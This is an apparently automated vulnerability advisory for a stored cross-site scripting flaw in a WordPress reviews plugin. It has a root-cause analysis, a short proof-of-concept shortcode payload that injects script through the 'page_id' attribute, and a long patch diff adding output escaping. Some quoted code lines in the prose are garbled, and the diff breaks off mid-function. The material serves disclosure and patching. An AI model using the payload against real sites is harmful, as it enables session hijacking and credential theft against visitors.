Published : July 2, 2026

CVE-2026-12154: Reviews Widgets for Google, Yelp & TripAdvisor <= 2.7.3 Authenticated (Contributor+) Stored Cross-Site Scripting via 'page_id' Shortcode Attribute PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.7.3
Patched Version 2.8
Disclosed July 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12154:
This vulnerability allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts into WordPress pages via the [fbrev] shortcode. The vulnerability exists in the Reviews Widgets for Google, Yelp & TripAdvisor plugin versions up to and including 2.7.3. The CVSS score is 6.4, reflecting a medium severity XSS vulnerability.

The root cause is insufficient input sanitization and output escaping in the Feed_Shortcode::fbrev() method. The vulnerable code path passes the raw ‘page_id’ shortcode attribute through Feed_Old::get_feed() into the View::render() method. In View::render(), located in fb-reviews-widget/includes/class-view.php, the value is echoed directly into the data-id HTML attribute without using esc_attr(). The vulnerable line (original line 45) is: data-id=”” which outputs the unsanitized user input.

An attacker with contributor-level access can exploit this by creating a WordPress post or page containing the [fbrev] shortcode with a malicious page_id attribute. For example: [fbrev page_id=”>alert(‘XSS’)”]. When the post is published, any user viewing the page triggers the execution of the injected script in their browser. The shortcode attribute is not sanitized or escaped before being rendered into the HTML.

The patch applies esc_attr() to the $feed_id output in class-view.php line 45, changing it to: data-id=””. This ensures HTML special characters in the input are encoded, preventing script injection into the attribute context. Before the patch, unencoded quotes and angle brackets could break out of the attribute and inject arbitrary HTML.

Successful exploitation results in stored cross-site scripting. The injected script executes in the context of any user who views the compromised page. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. Since the attack requires contributor-level access, the impact is limited to authenticated users who can publish content, but the payload affects all visitors to the affected pages.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/fb-reviews-widget/fbrev.php
+++ b/fb-reviews-widget/fbrev.php
@@ -1,9 +1,9 @@
 <?php
 /*
-Plugin Name: Reviews Widgets for Google, Yelp & TripAdvisor
+Plugin Name: Reviews Widgets for Google, TripAdvisor, Yelp & Recommendations
 Plugin URI: https://wordpress.org/plugins/fb-reviews-widget
-Description: Combine Facebook recommendations with Google, Yelp and TripAdvisor reviews in a widget, block or shortcode. Build a trusted website!
-Version: 2.7.3
+Description: Combine Facebook reviews and recommendations with Google, TripAdvisor and Yelp reviews in a widget, block or shortcode. Build a trusted website!
+Version: 2.8
 Author: Trust.Reviews <support@trust.reviews>
 Author URI: https://trust.reviews
 Text Domain: fb-reviews-widget
--- a/fb-reviews-widget/includes/class-activator.php
+++ b/fb-reviews-widget/includes/class-activator.php
@@ -29,6 +29,7 @@
             Plugin::SLG . '_rev_notice_hide',
             Plugin::SLG . '_rev_notice_show',
             Plugin::SLG . '_rate_us',
+            Plugin::SLG . '_last_error',
         );
     }

@@ -104,15 +105,15 @@
     public function update_db($last_active_version) {
         global $wpdb;

+        $rev = $wpdb->prefix . Database::REVIEW_TABLE;
+        $biz = $wpdb->prefix . Database::BUSINESS_TABLE;
+
         if (version_compare($last_active_version, '2.0', '<')) {
             $this->first_install();
         }

         if (version_compare($last_active_version, '2.7', '<')) {

-            $rev = $wpdb->prefix . Database::REVIEW_TABLE;
-            $biz = $wpdb->prefix . Database::BUSINESS_TABLE;
-
             // add column map_url
             $columns = $wpdb->get_col("SHOW COLUMNS FROM {$biz}", 0);
             if (!in_array('map_url', $columns, true)) {
@@ -155,9 +156,25 @@
             $this->database->migrate_review_texts();
         }

-        /*if (version_compare($last_active_version, '2.8', '<')) {
+        if (version_compare($last_active_version, '2.8', '<')) {
+            $text = $wpdb->prefix . Database::TEXT_TABLE;
+
+            $rev_col = $wpdb->get_row("SHOW FULL COLUMNS FROM {$rev} WHERE Field = 'review_id'");
+            $txt_col = $wpdb->get_row("SHOW FULL COLUMNS FROM {$text} WHERE Field = 'review_id'");
+
+            if ($rev_col && $txt_col && !empty($rev_col->Collation)) {
+                $collation = $rev_col->Collation;
+
+                if ($txt_col->Collation !== $collation) {
+                    $valid_collation = $wpdb->get_var($wpdb->prepare("SHOW COLLATION WHERE `Collation` = %s", $collation));
+                    if ($valid_collation) {
+                        $wpdb->query("ALTER TABLE {$text} MODIFY review_id VARCHAR(64) COLLATE {$collation} NOT NULL");
+                    }
+                }
+            }
+        }

-            $rev = $wpdb->prefix . Database::REVIEW_TABLE;
+        /*if (version_compare($last_active_version, '2.8', '<')) {

             // remove duplicates
             $wpdb->query("DELETE r1 FROM {$rev} r1 INNER JOIN {$rev} r2 ON r1.platform = r2.platform AND r1.review_id = r2.review_id AND r1.id < r2.id");
@@ -169,6 +186,10 @@
                 $wpdb->query("ALTER TABLE {$rev} ADD UNIQUE INDEX {$idx} (platform, review_id)");
             }
         }*/
+
+        if (!empty($wpdb->last_error)) {
+            update_option(Plugin::SLG . '_last_error', time() . ': ' . $wpdb->last_error);
+        }
     }

     /**
--- a/fb-reviews-widget/includes/class-builder-page.php
+++ b/fb-reviews-widget/includes/class-builder-page.php
@@ -73,11 +73,11 @@
             <form method="post" action="<?php echo esc_url(admin_url('admin-post.php?action=' . Post_Types::FEED_POST_TYPE . '_save')); ?>">
                 <?php wp_nonce_field(Plugin::SLG . '_wpnonce'); ?>
                 <input type="hidden" id="{slg}_post_id" name="<?php echo Post_Types::FEED_POST_TYPE; ?>[post_id]" value="<?php echo esc_attr($feed_id); ?>">
-                <input type="hidden" id="{slg}_current_url" name="<?php echo Post_Types::FEED_POST_TYPE; ?>[current_url]" value="<?php echo home_url($_SERVER['REQUEST_URI']); ?>">
+                <input type="hidden" id="{slg}_current_url" name="<?php echo Post_Types::FEED_POST_TYPE; ?>[current_url]" value="<?php echo esc_url(home_url($_SERVER['REQUEST_URI'])); ?>">
                 <div class="{slg}-builder-workspace">
                     <div class="{slg}-toolbar">
                         <div class="{slg}-toolbar-title">
-                            <input id="{slg}_title" class="{slg}-toolbar-title-input" type="text" name="<?php echo Post_Types::FEED_POST_TYPE; ?>[title]" value="<?php if (isset($feed_post_title)) { echo $feed_post_title; } ?>" placeholder="Enter a widget name" maxlength="255" autofocus>
+                            <input id="{slg}_title" class="{slg}-toolbar-title-input" type="text" name="<?php echo Post_Types::FEED_POST_TYPE; ?>[title]" value="<?php if (isset($feed_post_title)) { echo esc_attr($feed_post_title); } ?>" placeholder="Enter a widget name" maxlength="255" autofocus>
                         </div>
                         <div class="{slg}-toolbar-control">
                             <?php if ($feed_inited) { ?>
@@ -93,7 +93,7 @@
                         </div>
                     </div>
                     <div class="{slg}-builder-preview">
-                        <textarea id="{slg}-builder-connection" name="<?php echo Post_Types::FEED_POST_TYPE; ?>[content]" style="display:none"><?php echo $feed_content; ?></textarea>
+                        <textarea id="{slg}-builder-connection" name="<?php echo Post_Types::FEED_POST_TYPE; ?>[content]" style="display:none"><?php echo esc_textarea($feed_content); ?></textarea>
                         <div id="{slg}_collection_preview">
                         <?php
                         if ($feed_inited) {
@@ -132,7 +132,7 @@
                 <span id="{slg}-rate_us-feedback-stars"></span>
             </p>
             <p style="font-size:16px;">
-                <input type="text" value="<?php global $current_user; echo $current_user->user_email; ?>" placeholder="Contact email"/>
+                <input type="text" value="<?php global $current_user; echo esc_attr($current_user->user_email); ?>" placeholder="Contact email"/>
             </p>
             <p style="font-size:16px;">
                 <textarea autofocus placeholder="Describe your experience and how we can improve that"></textarea>
--- a/fb-reviews-widget/includes/class-plugin.php
+++ b/fb-reviews-widget/includes/class-plugin.php
@@ -17,7 +17,7 @@

 final class Plugin {

-    const VER = '2.7.3';
+    const VER = '2.8';
     const SLG = 'trustreviews';
     const PFX = self::SLG . '_';
     const NAME = 'fb-reviews-widget';
--- a/fb-reviews-widget/includes/class-view.php
+++ b/fb-reviews-widget/includes/class-view.php
@@ -23,17 +23,17 @@
         }

         $style = '';
-        if (isset($max_width) && strlen($max_width) > 0) {
+        if (!empty($max_width)) {
             $style .= 'width:' . $max_width . '!important;';
         }
-        if (isset($max_height) && strlen($max_height) > 0) {
+        if (!empty($max_height)) {
             $style .= 'height:' . $max_height . '!important;overflow-y:auto!important;';
         }
         if ($options->centered) {
             $style .= 'margin:0 auto!important;';
         }

-        ?><div class="{slg}<?php if ($options->dark_theme) { ?> wp-dark<?php } ?>"<?php if ($style) { ?> style="<?php echo $style;?>"<?php } ?> data-id="<?php echo $feed_id; ?>" data-layout="<?php echo $options->view_mode; ?>" data-exec="false"><?php
+        ?><div class="{slg}<?php if ($options->dark_theme) { ?> wp-dark<?php } ?>"<?php if ($style) { ?> style="<?php echo esc_attr($style);?>"<?php } ?> data-id="<?php echo esc_attr($feed_id); ?>" data-layout="<?php echo esc_attr($options->view_mode); ?>" data-exec="false"><?php
             switch ($options->view_mode) {
                 case 'slider':
                     $this->render_slider($businesses, $reviews, $options, $is_admin);
@@ -146,7 +146,7 @@
                         ?>
                     </div>
                     <?php if ($options->pagination > 0 && $hr) { ?>
-                    <a class="{slg}-url" href="#" onclick="return TrustReviews.Plugin.next.call(this, '{slg}', <?php echo $options->pagination; ?>);">
+                    <a class="{slg}-url" href="#" onclick="return TrustReviews.Plugin.next.call(this, '{slg}', <?php echo (int) $options->pagination; ?>);">
                         <?php echo __('More Reviews', Plugin::NAME); ?>
                     </a>
                     <?php } ?>
@@ -187,7 +187,7 @@
         <?php if (!$options->header_hide_photo) { ?>
         <img src="<?php echo esc_url($place_img); ?>" class="{slg}-img" alt="<?php echo esc_attr($place->name); ?>" width="50" height="50" title="<?php echo esc_attr($place->name); ?>">
         <?php } ?>
-        <div class="{slg}-flex" data-platform="<?php echo $place->provider; ?>" style="--dir:column;--gap:8px">
+        <div class="{slg}-flex" data-platform="<?php echo esc_attr($place->provider); ?>" style="--dir:column;--gap:8px">
             <?php if (!$options->header_hide_name) { ?>
             <div class="{slg}-name">
                 <?php $place_name_content = '<span>' . $place->name . '</span>';
@@ -235,7 +235,7 @@
             }
         }
         if ($options->pagination > 0 && $hr) { ?>
-        <a class="{slg}-url" href="#" onclick="return TrustReviews.Plugin.next.call(this, '{slg}', <?php echo $options->pagination; ?>);">
+        <a class="{slg}-url" href="#" onclick="return TrustReviews.Plugin.next.call(this, '{slg}', <?php echo (int) $options->pagination; ?>);">
             <?php echo __('More Reviews', Plugin::NAME); ?>
         </a>
         <?php
@@ -247,34 +247,25 @@

     function place_review($review, $hr, $options, $is_admin = false) {
         $addcls = $is_admin && $review->hide != '' ? " wp-review-hidden" : "";
-        ?>
-        <div class="{slg}-list-review<?php echo $addcls; ?><?php if ($hr) { echo ' {slg}-hide'; } ?>" data-rev="<?php echo $review->provider; ?>">
-            <?php if (!$options->hide_avatar) { ?>
-            <div class="{slg}-flex" style="--dir:row;--align:star;--gap:12px">
-                <?php
-                $default_avatar = Plugin::ASSETS_URL() . 'img/guest.png';
-                if (strlen($review->author_img) > 0) {
-                    $author_img = $review->author_img;
-                } else {
-                    $author_img = $default_avatar;
-                }
-                if (isset($options->reviewer_avatar_size)) {
-                    $author_img = str_replace('s128', 's' . $options->reviewer_avatar_size, $author_img);
-                    $default_avatar = str_replace('s128', 's' . $options->reviewer_avatar_size, $default_avatar);
+        ?><div class="{slg}-list-review<?php echo $addcls; ?><?php if ($hr) { echo ' {slg}-hide'; } ?>" data-rev="<?php echo esc_attr($review->provider); ?>">
+            <div class="{slg}-flex" style="--dir:row;--align:star;--gap:12px"><?php
+                if (!$options->hide_avatar) {
+                    $default_avatar = Plugin::ASSETS_URL() . 'img/guest.png';
+                    $author_img = empty($review->author_img) ? $default_avatar : $review->author_img;
+                    if (isset($options->reviewer_avatar_size)) {
+                        $author_img = str_replace('s128', 's' . $options->reviewer_avatar_size, $author_img);
+                        $default_avatar = str_replace('s128', 's' . $options->reviewer_avatar_size, $default_avatar);
+                    }
+                    $this->image($author_img, '{slg}-img', $review->author_name, $options->lazy_load_img, $default_avatar);
                 }
-                $this->image($author_img, '{slg}-img', $review->author_name, $options->lazy_load_img, $default_avatar);
-                ?>
-                <div class="{slg}-flex" style="--dir:column;--align:star;--gap:4px">
+                ?><div class="{slg}-flex" style="--dir:column;--align:star;--gap:4px">
                     <?php
-                    if (strlen($review->author_url) > 0) {
-                        $this->anchor($review->author_url, '{slg}-name', $review->author_name, $options->open_link, $options->nofollow_link);
+                    if (empty($review->author_url)) {
+                        $author_name = empty($review->author_name) ? __('Google User', Plugin::NAME) : $review->author_name;
+                        ?><div class="{slg}-name"><?php echo esc_html($author_name); ?></div><?php
+
                     } else {
-                        if (strlen($review->author_name) > 0) {
-                            $author_name = $review->author_name;
-                        } else {
-                            $author_name = __('Google User', Plugin::NAME);
-                        }
-                        ?><div class="{slg}-name"><?php echo $author_name; ?></div><?php
+                        $this->anchor($review->author_url, '{slg}-name', $review->author_name, $options->open_link, $options->nofollow_link);
                     }
                     ?>
                     <div class="{slg}-time" data-time="<?php echo $review->time; ?>"><?php echo esc_html(gmdate("H:i d M y", (int)$review->time)); ?></div>
@@ -284,12 +275,10 @@
                     </div>
                     <?php if ($is_admin && !empty($review->id)) {
                         echo '<a href="#" class="wp-review-hide" data-id=' . $review->id . '>' . ($review->hide == '' ? 'Hide' : 'Show') . ' review</a>';
-                    } ?>
-                </div>
+                    }
+                ?></div>
             </div>
-            <?php } ?>
-        </div>
-        <?php
+        </div><?php
     }

     function slider_review($review, $hr, $options, $is_admin = false) {
@@ -297,61 +286,53 @@
         $addcls .= $options->show_round ? " {slg}-round" : "";
         $addcls .= $options->show_shadow ? " {slg}-shadow" : "";
         $addcls .= $is_admin && $review->hide != '' ? " wp-review-hidden" : "";
-        ?>
-        <div class="{slg}-review<?php if ($hr) { echo ' {slg}-hide'; } ?>" data-rev="<?php echo $review->provider; ?>">
+        ?><div class="{slg}-review<?php if ($hr) { echo ' {slg}-hide'; } ?>" data-rev="<?php echo esc_attr($review->provider); ?>">
             <div class="{slg}-review-inner<?php echo $addcls; ?>">
-                <div class="{slg}-flex" style="--gap:12px;--dir:row;--align:center">
-                    <?php
-                    // Google reviewer avatar
-                    $default_avatar = Plugin::ASSETS_URL() . 'img/guest.png';
-                    if (strlen($review->author_img) > 0) {
-                        $author_img = $review->author_img;
-                    } else {
-                        $author_img = $default_avatar;
-                    }
-                    if (isset($options->reviewer_avatar_size)) {
-                        $author_img = str_replace('s128', 's' . $options->reviewer_avatar_size, $author_img);
-                        $default_avatar = str_replace('s128', 's' . $options->reviewer_avatar_size, $default_avatar);
+                <div class="{slg}-flex" style="--gap:12px;--dir:row;--align:center"><?php
+                    if (!$options->hide_avatar) {
+                        $default_avatar = Plugin::ASSETS_URL() . 'img/guest.png';
+                        $author_img = empty($review->author_img) ? $default_avatar : $review->author_img;
+                        if (isset($options->reviewer_avatar_size)) {
+                            $author_img = str_replace('s128', 's' . $options->reviewer_avatar_size, $author_img);
+                            $default_avatar = str_replace('s128', 's' . $options->reviewer_avatar_size, $default_avatar);
+                        }
+                        $this->image($author_img, '{slg}-img', $review->author_name, $options->lazy_load_img, $default_avatar);
                     }
-                    $this->image($author_img, '{slg}-img', $review->author_name, $options->lazy_load_img, $default_avatar);
                     ?><div class="{slg}-flex" style="--gap:6px;--dir:column;--align:star;--overflow:hidden"><?php
                         // Google reviewer name
-                        if (strlen($review->author_url) > 0) {
-                            $this->anchor($review->author_url, '{slg}-name', $review->author_name, $options->open_link, $options->nofollow_link);
+                        if (empty($review->author_url)) {
+                            $author_name = empty($review->author_name) ? __('Google User', Plugin::NAME) : $review->author_name;
+                            ?><div class="{slg}-name"><?php echo esc_html($author_name); ?></div><?php
                         } else {
-                            if (strlen($review->author_name) > 0) {
-                                $author_name = $review->author_name;
-                            } else {
-                                $author_name = __('Google User', Plugin::NAME);
-                            }
-                            ?><div class="{slg}-name"><?php echo $author_name; ?></div><?php
+                            $this->anchor($review->author_url, '{slg}-name', $review->author_name, $options->open_link, $options->nofollow_link);
                         }
-                        ?>
-                        <div class="{slg}-time" data-time="<?php echo $review->time; ?>"><?php echo esc_html(gmdate("H:i d M y", (int)$review->time)); ?></div>
+                        ?><div class="{slg}-time" data-time="<?php echo $review->time; ?>"><?php
+                            echo esc_html(gmdate("H:i d M y", (int)$review->time));
+                        ?></div>
                     </div>
-                </div>
-                <?php echo $this->stars($review->rating, $review->provider); ?>
-                <div>
-                    <div class="{slg}-feedback" <?php if (strlen($options->slider_text_height) > 0) {?> style="height:<?php echo $options->slider_text_height; ?>!important"<?php } ?>>
-                        <?php if (strlen($review->text) > 0) { ?>
+                </div><?php
+
+                echo $this->stars($review->rating, $review->provider);
+
+                ?><div>
+                    <div class="{slg}-feedback" <?php if (!empty($options->slider_text_height)) {?> style="height:<?php echo esc_attr($options->slider_text_height); ?>!important"<?php } ?>>
+                        <?php if (!empty($review->text)) { ?>
                         <span class="{slg}-text"><?php echo $this->trim_text($review->text, $options->text_size); ?></span>
                         <?php } ?>
                     </div>
-                </div>
-                <?php $this->social_logo($review->provider);
+                </div><?php $this->social_logo($review->provider);
                 if ($is_admin && isset($review->id)) {
                     echo '<a href="#" class="wp-review-hide" data-id=' . $review->id . '>' . ($review->hide == '' ? 'Hide' : 'Show') . ' review</a>';
-                } ?>
-            </div>
-        </div>
-        <?php
+                }
+            ?></div>
+        </div><?php
     }

     function stars($rating, $provider = '', $show_rating = false) {
         switch ($provider) {
             case 'facebook':
                 if ($show_rating) {
-                    ?><span class="rpi-stars" style="--rating:<?php echo $rating; ?>"><?php echo $rating; ?></span><?php
+                    ?><span class="rpi-stars" style="--rating:<?php echo esc_attr($rating); ?>"><?php echo $rating; ?></span><?php
                 } else {
                     $text = ($rating < 2 ? "doesn't" : "") . ' recommends';
                     ?><span class="rpi-star-fb" data-rating="<?php echo $rating; ?>"><?php echo $text; ?></span><?php
@@ -364,18 +345,16 @@
                 ?><span class="rpi-stars-<?php echo $provider; ?>"<?php echo $data_atts; ?>><i></i><i></i><i></i><i></i><i></i></span><?php
                 break;
             default:
-                ?><span class="rpi-stars" style="--rating:<?php echo $rating; ?>"><?php if ($show_rating) echo $rating; ?></span><?php
+                ?><span class="rpi-stars" style="--rating:<?php echo esc_attr($rating); ?>"><?php if ($show_rating) echo $rating; ?></span><?php
         }
     }

     private function writereview_url($biz) {
         switch ($biz->provider) {
-            case 'google':
-                return 'https://search.google.com/local/writereview?placeid=' . $biz->id;
-            case 'facebook':
-                return 'https://facebook.com/' . $biz->id . '/reviews';
-            case 'yelp':
-                return 'https://www.yelp.com/writeareview/biz/' . $biz->id;
+            case 'google':      return 'https://search.google.com/local/writereview?placeid=' . $biz->id;
+            case 'facebook':    return 'https://facebook.com/' . $biz->id . '/reviews';
+            case 'tripadvisor': return 'https://www.tripadvisor.com/UserReview-d' . $biz->id;
+            case 'yelp':        return 'https://www.yelp.com/writeareview/biz/' . $biz->id;
         }
     }

@@ -405,7 +384,7 @@
     }

     private function powered($biz, $opt) {
-        ?><div class="{slg}-powered {slg}-flex" data-platform="<?php echo $biz->provider; ?>" style="--gap: 2px;--dir:row;--align:center"><?php
+        ?><div class="{slg}-powered {slg}-flex" data-platform="<?php echo esc_attr($biz->provider); ?>" style="--gap: 2px;--dir:row;--align:center"><?php
         switch ($biz->provider) {
             case 'google':
                 ?><img src="<?php echo Plugin::ASSETS_URL(); ?>img/powered_by_google_on_<?php if ($opt->dark_theme) { ?>non_<?php } ?>white.png" alt="powered by Google" width="144" height="18" title="powered by Google"><?php
@@ -431,12 +410,12 @@
         echo '<a href="' . $href . '"' . $class_attr . $target_rel . $rel_attr . '>' . wp_kses_post($text) . '</a>';
     }

-    function image($src, $cls = '', $alt, $lazy, $def_ava = 'data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7', $atts = '') {
+    function image($src, $cls, $alt, $lazy, $def_ava = 'data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7', $atts = '') {
         ?><img src="<?php echo esc_url($src); ?>" <?php if ($lazy) { ?>loading="lazy"<?php } ?> class="<?php echo esc_attr($cls); ?>" alt="<?php echo esc_attr($alt); ?>" onerror="this.onerror=null;this.src='<?php echo esc_url($def_ava); ?>';" <?php echo $atts; ?>><?php
     }

     function js_loader($cls, $func, $data = '') {
-        ?><img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" alt="js_loader" onload="(function(el, data) {var f = function() { window.<?php echo $cls; ?> ? <?php echo $cls . '.' . $func; ?>('{slg}', el, data) : setTimeout(f, 400) }; f() })(this<?php if (strlen($data) > 0) { ?>, <?php echo str_replace('"', ''', $data); } ?>);" width="1" height="1" style="display:none"><?php
+        ?><img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" alt="js_loader" onload="(function(el, data) {var f = function() { window.<?php echo $cls; ?> ? <?php echo $cls . '.' . $func; ?>('{slg}', el, data) : setTimeout(f, 400) }; f() })(this<?php if (!empty($data)) { ?>, <?php echo str_replace('"', ''', $data); } ?>);" width="1" height="1" style="display:none"><?php
     }

     function trim_text($text, $size) {
--- a/fb-reviews-widget/includes/core/class-core.php
+++ b/fb-reviews-widget/includes/core/class-core.php
@@ -120,7 +120,7 @@
                     $result = $this->get_fb_reviews($conn, $options);
                     break;
                 default:
-                    $result = $this->get_db_reviews($conn, $is_admin);
+                    $result = $this->get_db_reviews($conn, $options, $is_admin);
             }
             if (isset($result['business'])) {
                 array_push($bizs, $result['business']);
@@ -133,7 +133,7 @@
         return array('businesses' => $bizs, 'reviews' => $reviews, 'options' => $options);
     }

-    public function get_db_reviews($biz, $is_admin = false) {
+    public function get_db_reviews($biz, $options, $is_admin = false) {
         global $wpdb;

         $rating = 0;
@@ -148,98 +148,58 @@
             )
         );

-        if ($place) {
-
-            // Get reviews
-            $hidden_ids  = array();
-            $where_plain = $is_admin ? '' : " AND r2.hide = ''";
-            $where_r     = $is_admin ? '' : " AND r.hide = ''";
-
-            if (isset($options->hidden) && !$is_admin) {
-                $hidden_ids = $this->parse_hidden_ids($options->hidden);
-                if (!empty($hidden_ids)) {
-                    $hidden_phs   = implode(',', array_fill(0, count($hidden_ids), '%d'));
-                    $where_plain .= ' AND r2.id NOT IN (' . $hidden_phs . ')';
-                    $where_r     .= ' AND r.id NOT IN (' . $hidden_phs . ')';
-                }
-            }
-
-            if (empty($biz->lang)) {
-
-                $sql = "SELECT r.*
-                        FROM {$wpdb->prefix}" . Database::REVIEW_TABLE . " r
-                        WHERE r.biz_id = %d{$where_r}
-                            AND r.author_url IS NOT NULL
-                            AND NOT EXISTS (
-                                SELECT 1
-                                FROM {$wpdb->prefix}" . Database::REVIEW_TABLE . " r2
-                                WHERE r2.biz_id = r.biz_id
-                                    AND r2.author_url = r.author_url{$where_plain}
-                                    AND (
-                                        r2.time > r.time
-                                        OR (r2.time = r.time AND r2.id > r.id)
-                                    )
-                            )
-                        ORDER BY r.time DESC, r.id DESC";
-
-                $params = array_merge([$place->id], $hidden_ids, $hidden_ids);
-
-            } else {
-
-                $sql = "SELECT r2.*
-                        FROM {$wpdb->prefix}" . Database::REVIEW_TABLE . " r2
-                        WHERE r2.biz_id = %d{$where_plain} AND (r2.language = %s OR r2.language IS NULL)
-                        ORDER BY r2.time DESC";
+        if (!$place) {
+            return array('reviews' => array());
+        }

-                $params = array_merge([$place->id], $hidden_ids);
-                $params[] = $biz->lang;
-            }
+        $lang = empty($biz->lang) ? substr(get_locale(), 0, 2) : $biz->lang;
+        $all_langs = isset($options->all_langs) ? (int)(bool)$options->all_langs : (empty($biz->lang) ? 1 : 0);

-            $revs = $wpdb->get_results($wpdb->prepare($sql, $params));
+        $revs = $this->fetch_reviews([$place->id], $options, $lang, $all_langs, 0, $is_admin);

-            // Setup photo
-            $place->photo = empty($biz->photo) ? (empty($place->photo) ? Plugin::G_BIZ_LOGO() : $place->photo) : $biz->photo;
+        $place->photo = empty($biz->photo) ? (empty($place->photo) ? Plugin::G_BIZ_LOGO() : $place->photo) : $biz->photo;

-            // Calculate reviews count
-            if (isset($place->review_count) && $place->review_count > 0) {
-                $review_count = $place->review_count;
-            } else {
-                $review_count = $wpdb->get_var(
-                    $wpdb->prepare(
-                        "SELECT count(*) FROM " . $wpdb->prefix . Database::REVIEW_TABLE .
-                        " WHERE biz_id = %d", $place->id
-                    )
-                );
-            }
+        if (isset($place->review_count) && $place->review_count > 0) {
+            $review_count = $place->review_count;
+        } else {
+            $review_count = $wpdb->get_var(
+                $wpdb->prepare(
+                    "SELECT count(*) FROM " . $wpdb->prefix . Database::REVIEW_TABLE .
+                    " WHERE biz_id = %d", $place->id
+                )
+            );
+        }

-            // Calculate rating
-            $rating = 0;
-            if ($place->rating > 0) {
-                $rating = $place->rating;
-            } else if (count($revs) > 0) {
-                foreach ($revs as $review) {
-                    $rating = $rating + $review->rating;
-                }
-                $rating = round($rating / count($revs), 1);
+        $rating = 0;
+        if ($place->rating > 0) {
+            $rating = $place->rating;
+        } else if (count($revs) > 0) {
+            foreach ($revs as $review) {
+                $rating = $rating + $review->rating;
             }
-            $rating = number_format((float)$rating, 1, '.', '');
+            $rating = round($rating / count($revs), 1);
         }
+        $rating = number_format((float)$rating, 1, '.', '');

         $business = json_decode(json_encode(
             array(
-                'id'                  => $biz->id,
-                'name'                => $biz->name ? $biz->name : $place->name,
-                'url'                 => isset($place->url) ? $place->url : null,
-                'photo'               => isset($place->photo) ? $place->photo : Plugin::G_BIZ_LOGO(),
-                'address'             => isset($place->address) ? $place->address : null,
-                'rating'              => $rating,
-                'review_count'        => $review_count,
-                'provider'            => $place->platform
+                'id'           => $biz->id,
+                'name'         => $biz->name ? $biz->name : $place->name,
+                'url'          => isset($place->url) ? $place->url : null,
+                'photo'        => isset($place->photo) ? $place->photo : Plugin::G_BIZ_LOGO(),
+                'address'      => isset($place->address) ? $place->address : null,
+                'rating'       => $rating,
+                'review_count' => $review_count,
+                'provider'     => $place->platform
             )
         ));

         $reviews = array();
         foreach ($revs as $rev) {
+            $text = (isset($rev->lang_text) && $rev->lang_text !== null && $rev->lang_text !== '')
+                ? $rev->lang_text
+                : $rev->text;
+
             $review = json_decode(json_encode(
                 array(
                     'id'          => $rev->id,
@@ -247,7 +207,7 @@
                     'biz_id'      => $biz->id,
                     'biz_url'     => $place->url,
                     'rating'      => $rev->rating,
-                    'text'        => wp_encode_emoji($rev->text),
+                    'text'        => wp_encode_emoji($text),
                     'author_img'  => $rev->author_img,
                     'author_url'  => $rev->author_url,
                     'author_name' => $rev->author_name,
@@ -261,6 +221,97 @@
         return array('business' => $business, 'reviews' => $reviews);
     }

+    private function fetch_reviews($place_ids, $options, $lang, $all_langs, $limit, $is_admin) {
+        global $wpdb;
+
+        $where_plain = $is_admin ? '' : " AND r2.hide = ''";
+        $where_r     = $is_admin ? '' : " AND r.hide = ''";
+
+        $hidden_ids = array();
+        if (isset($options->hidden) && !$is_admin) {
+            $hidden_ids = $this->parse_hidden_ids($options->hidden);
+            if (!empty($hidden_ids)) {
+                $hidden_phs   = implode(',', array_fill(0, count($hidden_ids), '%d'));
+                $where_plain .= ' AND r2.id NOT IN (' . $hidden_phs . ')';
+                $where_r     .= ' AND r.id NOT IN (' . $hidden_phs . ')';
+            }
+        }
+
+        if (!is_array($place_ids)) {
+            $place_ids = [$place_ids];
+        }
+        $place_ids_phs = implode(',', array_fill(0, count($place_ids), '%d'));
+
+        $lang_aliases = $this->get_lang_aliases($lang);
+        $lang_phs     = implode(',', array_fill(0, count($lang_aliases), '%s'));
+
+        $sql = "SELECT r.*, t.text AS lang_text
+                FROM {$wpdb->prefix}" . Database::REVIEW_TABLE . " r
+                LEFT JOIN {$wpdb->prefix}" . Database::TEXT_TABLE . " t
+                    ON t.review_id = r.review_id AND t.lang IN ({$lang_phs})
+                WHERE r.biz_id IN ({$place_ids_phs}){$where_r}
+                  AND (%d = 1 OR t.text IS NOT NULL OR r.language IN ({$lang_phs}) OR r.language IS NULL OR r.language = '')
+                  AND (
+                      r.author_url IS NULL OR r.author_url = ''
+                      OR NOT EXISTS (
+                          SELECT 1 FROM {$wpdb->prefix}" . Database::REVIEW_TABLE . " r2
+                          WHERE r2.biz_id = r.biz_id AND r2.author_url = r.author_url{$where_plain}
+                            AND (r2.time > r.time OR (r2.time = r.time AND r2.id > r.id))
+                      )
+                  )
+                ORDER BY r.time DESC, r.id DESC";
+
+        if ($limit > 0) {
+            $sql .= " LIMIT " . (int)$limit;
+        }
+
+        $params = array_merge(
+            $lang_aliases,   // t.lang IN (...)      [LEFT JOIN]
+            $place_ids,      // r.biz_id IN (...)
+            $hidden_ids,     // {$where_r}
+            [$all_langs],    // %d = 1
+            $lang_aliases,   // r.language IN (...)
+            $hidden_ids      // {$where_plain}       [NOT EXISTS]
+        );
+
+        return $wpdb->get_results($wpdb->prepare($sql, $params));
+    }
+
+    private function get_lang_aliases($lang) {
+        $key = strtolower(str_replace('_', '-', trim((string)$lang)));
+        $traditional = array('zh-TW', 'zh-HK', 'zh-MO', 'zh-Hant', 'zh-Hant-TW', 'zh-Hant-HK', 'zh-Hant-MO');
+        $simplified  = array('zh', 'zh-CN', 'zh-SG', 'zh-Hans', 'zh-Hans-CN', 'zh-Hans-SG');
+        if (in_array($key, array_map('strtolower', $traditional), true)) {
+            return array_merge($traditional, array('zh'));
+        }
+        if (in_array($key, array_map('strtolower', $simplified), true)) {
+            return $simplified;
+        }
+        return array($lang);
+    }
+
+    private function parse_hidden_ids($input) {
+        $ids = array();
+        if (empty($input)) {
+            return $ids;
+        }
+        if (is_string($input)) {
+            $parts = preg_split('/s*,s*/', $input, -1, PREG_SPLIT_NO_EMPTY);
+        } elseif (is_array($input)) {
